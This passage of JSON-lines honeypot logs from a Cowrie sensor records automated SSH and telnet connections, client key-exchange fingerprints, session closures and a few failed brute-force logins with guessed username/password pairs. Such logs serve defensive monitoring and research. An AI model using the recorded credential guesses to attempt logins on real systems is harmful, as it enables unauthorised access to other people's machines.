sa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:39.947555Z","src_ip":"78.40.217.56","session":"ae62bfea7c9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq111111","message":"login attempt [root/Qq111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:40.578737Z","src_ip":"78.40.217.56","session":"ae62bfea7c9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:41.732698Z","src_ip":"78.40.217.56","session":"ae62bfea7c9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44672,"dst_ip":"10.17.0.5","dst_port":23,"session":"03f7eec188b8","protocol":"telnet","message":"New connection: 64.227.101.30:44672 (10.17.0.5:23) [session: 03f7eec188b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:42.338484Z"}
{"eventid":"cowrie.session.closed","duration":39.32841229438782,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:46.795862Z","src_ip":"64.227.101.30","session":"821e206e0cac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.73325991630554,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:47.167116Z","src_ip":"64.227.101.30","session":"3a37d50f7511","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.8333306312561,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:49.673620Z","src_ip":"64.227.101.30","session":"d402dc89c753","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":49090,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d1d543b4ccb","protocol":"telnet","message":"New connection: 64.227.101.30:49090 (10.17.0.5:23) [session: 2d1d543b4ccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:49.955500Z"}
{"eventid":"cowrie.session.closed","duration":42.578975439071655,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:51.784788Z","src_ip":"68.183.198.12","session":"90a1edd28f6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.101284503936768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:52.019000Z","src_ip":"64.227.101.30","session":"a98ca146724e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":50110,"dst_ip":"10.17.0.5","dst_port":23,"session":"985e136aa729","protocol":"telnet","message":"New connection: 64.227.101.30:50110 (10.17.0.5:23) [session: 985e136aa729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:52.771243Z"}
{"eventid":"cowrie.session.closed","duration":74.03286814689636,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:53.769117Z","src_ip":"64.227.101.30","session":"133bdc6257fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51566,"dst_ip":"10.17.0.5","dst_port":23,"session":"9400bea43280","protocol":"telnet","message":"New connection: 64.227.101.30:51566 (10.17.0.5:23) [session: 9400bea43280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:54.365737Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52156,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b1da1873215","protocol":"telnet","message":"New connection: 64.227.101.30:52156 (10.17.0.5:23) [session: 8b1da1873215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:55.377549Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54384,"dst_ip":"10.17.0.5","dst_port":23,"session":"aee240159b7e","protocol":"telnet","message":"New connection: 64.227.101.30:54384 (10.17.0.5:23) [session: aee240159b7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:59.192304Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45822,"dst_ip":"10.17.0.5","dst_port":23,"session":"0913fb702715","protocol":"telnet","message":"New connection: 64.227.101.30:45822 (10.17.0.5:23) [session: 0913fb702715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:59.659042Z"}
{"eventid":"cowrie.session.closed","duration":39.85974597930908,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:00.060574Z","src_ip":"68.183.198.12","session":"f8937cdf053f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.46398878097534,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:02.361234Z","src_ip":"64.227.101.30","session":"4518b29595b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.949607610702515,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:04.833484Z","src_ip":"64.227.101.30","session":"a15081d51544","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":58980,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c843a5d9099","protocol":"telnet","message":"New connection: 64.227.101.30:58980 (10.17.0.5:23) [session: 5c843a5d9099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:10.602823Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43536,"dst_ip":"10.17.0.5","dst_port":23,"session":"848f235e4629","protocol":"telnet","message":"New connection: 64.227.101.30:43536 (10.17.0.5:23) [session: 848f235e4629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:12.073310Z"}
{"eventid":"cowrie.session.closed","duration":0.005264759063720703,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:12.078420Z","src_ip":"64.227.101.30","session":"848f235e4629","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":40282,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa27e5d9d75c","protocol":"telnet","message":"New connection: 68.183.198.12:40282 (159.203.135.109:23) [session: fa27e5d9d75c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:12.511633Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33050,"dst_ip":"10.17.0.5","dst_port":23,"session":"24aa364682e5","protocol":"telnet","message":"New connection: 64.227.101.30:33050 (10.17.0.5:23) [session: 24aa364682e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:14.730881Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":41068,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4da321d6c94","protocol":"telnet","message":"New connection: 68.183.198.12:41068 (159.203.135.109:23) [session: c4da321d6c94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:16.474996Z"}
{"eventid":"cowrie.session.closed","duration":52.42941427230835,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:19.465214Z","src_ip":"64.227.101.30","session":"81e1ecaae41f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.124.179.158","src_port":55777,"dst_ip":"159.203.135.109","dst_port":23,"session":"0542eda740f1","protocol":"telnet","message":"New connection: 178.124.179.158:55777 (159.203.135.109:23) [session: 0542eda740f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:20.009380Z"}
{"eventid":"cowrie.session.closed","duration":38.8999547958374,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:21.238309Z","src_ip":"64.227.101.30","session":"03f7eec188b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37958,"dst_ip":"10.17.0.5","dst_port":23,"session":"cefce784fa97","protocol":"telnet","message":"New connection: 64.227.101.30:37958 (10.17.0.5:23) [session: cefce784fa97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:29.148216Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38936,"dst_ip":"10.17.0.5","dst_port":23,"session":"02276d508520","protocol":"telnet","message":"New connection: 64.227.101.30:38936 (10.17.0.5:23) [session: 02276d508520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:29.456409Z"}
{"eventid":"cowrie.session.closed","duration":51.63635516166687,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:29.901315Z","src_ip":"64.227.101.30","session":"1a51ed1f20c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":60940,"dst_ip":"10.17.0.5","dst_port":22,"session":"c50be78cfcce","protocol":"ssh","message":"New connection: 78.40.217.56:60940 (10.17.0.5:22) [session: c50be78cfcce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:30.296315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:30.300954Z","src_ip":"78.40.217.56","session":"c50be78cfcce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:30.441510Z","src_ip":"78.40.217.56","session":"c50be78cfcce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker@2026","message":"login attempt [docker/docker@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:31.019910Z","src_ip":"78.40.217.56","session":"c50be78cfcce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:32.159479Z","src_ip":"78.40.217.56","session":"c50be78cfcce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.16037130355835,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:34.169621Z","src_ip":"178.124.179.158","session":"0542eda740f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.13855266571045,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:34.515994Z","src_ip":"64.227.101.30","session":"8b1da1873215","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.259474992752075,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:35.625098Z","src_ip":"64.227.101.30","session":"9400bea43280","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40528,"dst_ip":"10.17.0.5","dst_port":23,"session":"d482cd56dd20","protocol":"telnet","message":"New connection: 64.227.101.30:40528 (10.17.0.5:23) [session: d482cd56dd20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:36.076351Z"}
{"eventid":"cowrie.session.closed","duration":36.67772626876831,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:36.336684Z","src_ip":"64.227.101.30","session":"0913fb702715","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.829495906829834,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:37.600649Z","src_ip":"64.227.101.30","session":"985e136aa729","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.76097106933594,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:38.953127Z","src_ip":"64.227.101.30","session":"aee240159b7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00171828269958,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:39.628678Z","src_ip":"64.227.101.30","session":"13f274dca2cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.8611102104187,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:40.816489Z","src_ip":"64.227.101.30","session":"2d1d543b4ccb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.06941246986389,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:47.672138Z","src_ip":"64.227.101.30","session":"5c843a5d9099","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43612,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4a6daa3ce10","protocol":"telnet","message":"New connection: 64.227.101.30:43612 (10.17.0.5:23) [session: a4a6daa3ce10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:49.098207Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34748,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1ccedb323bf","protocol":"telnet","message":"New connection: 64.227.101.30:34748 (10.17.0.5:23) [session: a1ccedb323bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:50.753301Z"}
{"eventid":"cowrie.session.closed","duration":0.004542112350463867,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:50.757738Z","src_ip":"64.227.101.30","session":"a1ccedb323bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":54692,"dst_ip":"10.17.0.5","dst_port":22,"session":"be5154452515","protocol":"ssh","message":"New connection: 36.253.9.69:54692 (10.17.0.5:22) [session: be5154452515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:51.797566Z"}
{"eventid":"cowrie.session.closed","duration":37.25395607948303,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:51.984747Z","src_ip":"64.227.101.30","session":"24aa364682e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:52.027188Z","src_ip":"36.253.9.69","session":"be5154452515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":95.37234783172607,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:53.097117Z","src_ip":"64.227.101.30","session":"70ff1b01a29b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44856,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a2cd124f51b","protocol":"telnet","message":"New connection: 64.227.101.30:44856 (10.17.0.5:23) [session: 7a2cd124f51b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:54.337750Z"}
{"eventid":"cowrie.session.closed","duration":44.55042910575867,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:57.061965Z","src_ip":"68.183.198.12","session":"fa27e5d9d75c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38346,"dst_ip":"10.17.0.5","dst_port":23,"session":"5907be7d22c2","protocol":"telnet","message":"New connection: 64.227.101.30:38346 (10.17.0.5:23) [session: 5907be7d22c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:59.492083Z"}
{"eventid":"cowrie.session.closed","duration":0.00455474853515625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:33:59.496492Z","src_ip":"64.227.101.30","session":"5907be7d22c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.640469789505005,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:05.115373Z","src_ip":"68.183.198.12","session":"c4da321d6c94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.866180181503296,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:06.014248Z","src_ip":"64.227.101.30","session":"cefce784fa97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":48610,"dst_ip":"159.203.135.109","dst_port":23,"session":"48b41e98dbe5","protocol":"telnet","message":"New connection: 68.183.198.12:48610 (159.203.135.109:23) [session: 48b41e98dbe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:11.294246Z"}
{"eventid":"cowrie.session.closed","duration":43.072256565093994,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:12.528510Z","src_ip":"64.227.101.30","session":"02276d508520","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.36738657951355,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:13.443636Z","src_ip":"64.227.101.30","session":"d482cd56dd20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51410,"dst_ip":"10.17.0.5","dst_port":23,"session":"601f8b24fbaf","protocol":"telnet","message":"New connection: 64.227.101.30:51410 (10.17.0.5:23) [session: 601f8b24fbaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:18.554104Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":36482,"dst_ip":"10.17.0.5","dst_port":22,"session":"604f5c82b94c","protocol":"ssh","message":"New connection: 78.40.217.56:36482 (10.17.0.5:22) [session: 604f5c82b94c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:20.451186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:20.460576Z","src_ip":"78.40.217.56","session":"604f5c82b94c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:20.614728Z","src_ip":"78.40.217.56","session":"604f5c82b94c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1q2w3e","message":"login attempt [user/1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:21.261302Z","src_ip":"78.40.217.56","session":"604f5c82b94c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:22.418759Z","src_ip":"78.40.217.56","session":"604f5c82b94c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44734,"dst_ip":"10.17.0.5","dst_port":23,"session":"0487a874d5de","protocol":"telnet","message":"New connection: 64.227.101.30:44734 (10.17.0.5:23) [session: 0487a874d5de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:23.506073Z"}
{"eventid":"cowrie.session.closed","duration":0.005003929138183594,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:23.510949Z","src_ip":"64.227.101.30","session":"0487a874d5de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.062739610672,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:24.160800Z","src_ip":"64.227.101.30","session":"a4a6daa3ce10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":51798,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8a47286b614","protocol":"telnet","message":"New connection: 68.183.198.12:51798 (159.203.135.109:23) [session: c8a47286b614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:29.150334Z"}
